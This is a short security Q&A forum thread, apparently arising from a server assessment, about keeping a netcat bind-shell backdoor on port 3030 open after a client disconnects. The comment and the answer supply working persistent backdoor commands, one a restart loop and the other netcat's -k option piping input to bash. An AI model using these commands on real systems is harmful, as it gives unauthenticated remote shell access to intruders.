I have found the following command several times in one of the linux servers during an assessment:

nc -l -p 3030 -e /bin/bash

This enables a hacker to gain control over this sever via bash. By testing it, I realized that whenever the client interrupts the connection, the door is again closed.

Is there a way for the hacker to keep this door persistently opened?

  • 4
    just restart it whenever it exits while [ true ]; do nc -l -p 3030 -e /bin/bash; done – Steffen Ullrich Feb 28 '16 at 12:16

Nc with -k option will help.

nc -l -k -p 3030 -e /bin/bash
nc -l -k -p 3030 | /bin/bash

Forces nc to stay listening for another connection after its current connection is completed. It is an error to use this option without the -l option. When used together with the -u option, the server socket is not connected and it can receive UDP datagrams from multiple hosts.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.